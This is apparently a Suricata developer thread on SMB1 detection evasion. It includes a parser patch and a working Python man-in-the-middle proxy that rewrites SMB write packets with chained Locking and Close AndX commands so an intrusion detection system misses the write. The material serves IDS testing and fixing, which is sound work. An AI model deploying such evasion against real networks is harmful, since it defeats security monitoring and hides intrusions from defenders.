Suricata

Another evasion is to use dummy padding between SMB Parameter and SMB Data (and specify the right offset for data in the Parameter DataOffset field)

Simple patch could be

diff --git a/rust/src/smb/smb1_records.rs b/rust/src/smb/smb1_records.rs
index 35397e577..28e06dd7d 100644
--- a/rust/src/smb/smb1_records.rs
+++ b/rust/src/smb/smb1_records.rs
@@ -78,11 +78,12 @@ named!(pub parse_smb1_write_andx_request_record<Smb1WriteRequestRecord>,
         >>  _remaining: le_u16
         >>  data_len_high: le_u16
         >>  data_len_low: le_u16
-        >>  _data_offset: le_u16
+        >>  data_offset: le_u16
         >>  high_offset: cond!(wct==14,le_u32)
         >>  bcc: le_u16
         //>>  padding: cond!(data_offset > 32, take!(data_offset - 32))
         >>  _padding: cond!(bcc > data_len_low, take!(bcc - data_len_low)) // TODO figure out how this works with data_len_high
+>>  _padding_evasion: cond!(data_offset > 64, take!(data_offset - 64)) // TODO set an event
         >>  file_data: rest
         >> (Smb1WriteRequestRecord {
                 offset: if high_offset != None { ((high_offset.unwrap() as u64) << 32)|(offset as u64) } else { 0 },

AndX is not parsed and subject to an evasion, cf attached pcap hiding the Write command

https://gitlab.oisf.net/dev/suricata-verify/-/merge_requests/1
https://gitlab.oisf.net/dev/suricata/-/merge_requests/25

Here is a new pcap with andx and padding combined
(anti padding does not work ie Windows does not accept the file)

Produced with :
client does

smbclient -p 4445 //192.168.1.12/catena/ -U" "%" " -m NT1

Quick and dirty proxy is

import sys
import binascii
from threading import Thread
import time
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("192.168.1.12", 4445))
s.listen(1)
conn, addr = s.accept()
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2.connect(("192.168.1.51", 445))
ok = True
while ok:
    data = conn.recv(1024)
    print("received", len(data))
    if len(data) == 0:
        break
    data = bytearray(data)
    changed = 0
    if data[8] == 0x2f:
        changed = 1
        #update netbios size
        data[3] = (data[3] + 19 + 9) % 256
        #change opcode to locking
        data[8] = 0x24
        #change data offset to after locking andx and close
        data[59] = (data[59] + 19 + 9) % 256
        #get fid for locking
        fid = "%02x%02x" % (data[41], data[42])
        #offset for write andX after its data and locking
        andxoff = "%02x" % (0x20 + 19)
        locking = binascii.unhexlify("082f00"+andxoff+"00" + fid +"000000000000000000000000")
        close = binascii.unhexlify("03"+fid+"ffffffff0000")
        # close is next andx command
        data[37] = 4
        # offset for close
        data[39] = (0x20 + 19)+len(data[36:-68])
        data = data[:36] + locking +data[36:-68]+close+data[-68:]
        print("modified", binascii.hexlify(data))
    s2.send(data)
    resp = s2.recv(1024)
    print("response", len(resp))
    resp = bytearray(resp)
        #if changed == 1:
        #resp[8] = 0x2f
#resp = resp[:36] + resp[43:]
    conn.send(resp)

conn.close()
s.close()

And server is a Windows10 with public shared folder without password catena

Still AndX to do

Gitlab MR

https://github.com/OISF/suricata/pull/5910

Philippe:
I would lean toward the feature only for 7
AndX is not supported by every SMB command